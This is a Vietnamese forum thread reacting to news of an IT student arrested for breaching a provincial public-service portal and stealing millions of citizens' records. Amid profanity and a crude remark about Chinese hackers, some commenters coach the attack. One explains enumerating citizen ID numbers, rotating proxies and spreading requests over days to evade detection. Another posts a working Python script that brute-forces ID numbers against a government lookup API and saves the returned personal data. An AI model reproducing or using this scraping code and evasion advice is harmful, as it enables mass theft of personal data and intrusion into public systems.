Sanh diên IT xâm nhập cổng dịch vụ công, đánh cắp hàng triệu thông tin cá nhân theo đơn đặt hàng

Điền Bá Quang 4.0:

Trần Quang Huy còn nhiều lần xâm nhập trái phép vào cơ sở dữ liệu của các cơ quan nhà nước, đánh cắp hàng chục triệu dữ liệu công dân như thông tin BHXH, biển số xe, điện lực, vắc xin, thuê bao di động...

https://laodong.vn/phap-luat/tam-giam-sinh-vien-it-xam-nhap-cong-dich-vu-cong-danh-cap-hang-trieu-thong-tin-ca-nhan-1515769.ldo

25.3.2025, Huy sử dụng proxy ẩn danh để xâm nhập vào Cổng dịch vụ công tỉnh Hà Tĩnh và thiết lập chuỗi lệnh tự động bằng ngôn ngữ PHP, tiến hành tra cứu trái phép dữ liệu đến sáng hôm sau. Kết quả, hơn 7.200 bản ghi chứa thông tin cá nhân của công dân – từ họ tên, số định danh, địa chỉ đến nhóm máu – bị đánh cắp. Quá trình truy vấn của Huy vượt hơn 12.000 lượt, gấp nhiều lần mức truy cập được cấp cho tỉnh Hà Tĩnh.

Sinh viên IT Trần Quang Huy bị bắt do xâm nhập trái phép hệ thống dữ liệu quốc gia, đánh cắp thông tin cá nhân để trục lợi bất chính. Ảnh: Công an Hà Tĩnh

Bấm để mở rộng...

Dualeo123:

Đcm, bọn Tàu nó vào đc thì ăn lồn cả lũ. Dữ liệu quốc gia mà bảo mật như lồn.

Bấm để mở rộng...

Dualeo123:

Đcm, bọn Tàu nó vào đc thì ăn lồn cả lũ. Dữ liệu quốc gia mà bảo mật như lồn.

Bấm để mở rộng...

marcusaurelius1991:

Sao hack được với PHP vậy các tml

Bấm để mở rộng...

seeingmachines:

Viết API tool tự động gửi request lên cổng dịch vụ công, t nhớ cccd 12 chữ thì hết 3 chữ đầu là mã tỉnh cmnr, sau đó là số năm sinh còn 6 số thì chỉ việc chạy từ 0 tới 1triêụ là xong , lâu lâu lại đổi proxy, mà thằng ngu này tự nhiên lại request tất cả trong 1 đêm lưu lượng truy cập bất thường nó lại chả nghi, đáng lẽ phải chia ra nhiều ngày

Bấm để mở rộng...

Điền Bá Quang 4.0:

xâm nhập vào Cổng dịch vụ công tỉnh Hà Tĩnh và thiết lập chuỗi lệnh tự động bằng ngôn ngữ PHP, tiến hành tra cứu trái phép dữ liệu đến sáng hôm sau. Kết

Bấm để mở rộng...

Hssh:

nó có mở api đâu mà crawl kiểu đó
do phương thức bảo mật

Bấm để mở rộng...

dungdamchemnhau:

Bấm để mở rộng...

seeingmachines:

Cổng dịch vụ công ngu vl, chỉ cần có số cccd là nó hiện ra mắt, msbhxh , rồi lần ra địa chỉ đéo khó


Có thể xài tool để điền thông tin lên ui

Bấm để mở rộng...

dungdamchemnhau:

Bấm để mở rộng...

Dualeo123:

Đcm, bọn Tàu nó vào đc thì ăn lồn cả lũ. Dữ liệu quốc gia mà bảo mật như lồn.

Bấm để mở rộng...

Dautroc_thichcungduong:

KỸ THUẬT KHAI THÁC API MỞ
Giả sử hệ thống cổng dịch vụ công có tính năng cho phép người dân tra cứu thông tin công dân bằng cách nhập số CCCD hoặc mã định danh cá nhân. Khi nhập số và nhấn "Tìm kiếm", hệ thống gửi một truy vấn tới API:

Ví dụ (giả định):

nginx
Sao chép
Chỉnh sửa
GET https://dichvucong.gov.vn/api/tra-cuu?cccd=012345678901
Kết quả trả về (JSON):

json
{
"status": "success",
"data": {
"hoTen": "Nguyen Van A",
"ngaySinh": "1999-05-10",
"diaChi": "Xóm 3, xã A, huyện B, tỉnh C",
"soDienThoai": "098xxxxxxx"
}
}
Nếu API không yêu cầu token, không giới hạn truy cập, và không có cơ chế kiểm soát số lần truy vấn, thì hacker có thể khai thác như sau.
Ví dụ đoạn mã Python sử dụng requests:

python

import requests
import time
import json

def scan_cccd(start, end):
for cccd in range(start, end):
cccd_str = str(cccd).zfill(12) # CCCD đủ 12 số
url = f"https://dichvucong.gov.vn/api/tra-cuu?cccd={cccd_str}"
try:
response = requests.get(url)
if response.status_code == 200 and "data" in response.text:
data = response.json()
print(f" {cccd_str}: {data['data']}")
with open("data.txt", "a", encoding="utf-8") as f:
f.write(json.dumps(data["data"]) + "\n")
else:
print(f" {cccd_str}: Không có dữ liệu")
except Exception as e:
print(f" Lỗi khi xử lý CCCD {cccd_str}: {e}")
time.sleep(0.5) # delay để tránh bị chặn

# Khởi động quét từ số 001000000000 đến 001000010000 (10.000 bản ghi)
scan_cccd(100000000000, 100000010000)
Kết quả:
Hacker có thể thu thập hàng ngàn đến hàng triệu bản ghi chỉ trong vài giờ hoặc vài ngày nếu không bị chặn.

Nếu dùng đa luồng hoặc máy chủ cloud, tốc độ còn nhanh hơn.

Bấm để mở rộng...

traithem3x:

viết code bằng js chạy luôn trên console của trình duyệt chứ cần gì viết python cho nó phức tạp

Bấm để mở rộng...

Dautroc_thichcungduong:

Hacker có thể thu thập hàng ngàn đến hàng triệu bản ghi chỉ trong vài giờ hoặc vài ngày nếu không bị chặn.

Nếu dùng đa luồng hoặc máy chủ cloud, tốc độ còn nhanh hơn.

Bấm để mở rộng...